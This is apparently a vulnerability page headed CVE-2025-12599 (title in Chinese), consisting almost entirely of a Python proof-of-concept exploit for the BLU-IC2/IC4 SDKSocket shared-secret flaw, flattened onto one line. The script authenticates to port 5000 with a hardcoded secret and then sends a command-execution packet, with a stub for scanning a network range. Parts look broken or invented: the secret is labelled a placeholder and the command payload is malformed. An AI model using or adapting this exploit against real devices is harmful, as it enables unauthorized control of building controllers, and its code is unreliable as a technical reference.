CVE-2025-12599: BLU-IC2/IC4 SDKSocket共享密钥漏洞（严重）

#!/usr/bin/env python3 """ CVE-2025-12599 PoC - BLU-IC2/IC4 SDKSocket Shared Secret Exploitation Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import sys def exploit_sdksocket(target_ip, target_port=5000): """ Exploit CVE-2025-12599 by connecting to SDKSocket with hardcoded shared secret. Args: target_ip: Target device IP address target_port: SDKSocket port (default: 5000) Returns: bool: True if exploitation successful, False otherwise """ try: # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Hardcoded shared secret (common default key for affected devices) # In real attack, this would be extracted from firmware or traffic shared_secret = b'BLU_IC2_DEFAULT_SECRET' # Placeholder - actual key varies # Authentication packet structure auth_packet = struct.pack('>I', len(shared_secret) + 8) # Length auth_packet += b'\x01\x00\x00\x00' # Auth command type auth_packet += shared_secret sock.send(auth_packet) response = sock.recv(1024) if response and len(response) > 0: print(f"[+] Connected to {target_ip}:{target_port}") print(f"[+] Sent authentication with shared secret") print(f"[+] Response received: {response.hex()}") # Send command execution packet cmd_packet = struct.pack('>I', 20) cmd_packet += b'\x02\x00\x00\x00' # Command execution type cmd_packet += b'system\\0' # System command sock.send(cmd_packet) cmd_response = sock.recv(4096) print(f"[+] Command response: {cmd_response}") return True except socket.timeout: print(f"[-] Connection to {target_ip}:{target_port} timed out") except socket.error as e: print(f"[-] Socket error: {e}") except Exception as e: print(f"[-] Unexpected error: {e}") finally: sock.close() return False def scan_and_exploit(network_range): """ Scan network for vulnerable devices and attempt exploitation. """ print(f"[*] Scanning {network_range} for vulnerable SDKSocket services...") # Implementation for network scanning pass if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5000 print(f"[*] Starting CVE-2025-12599 exploitation against {target}:{port}") exploit_sdksocket(target, port)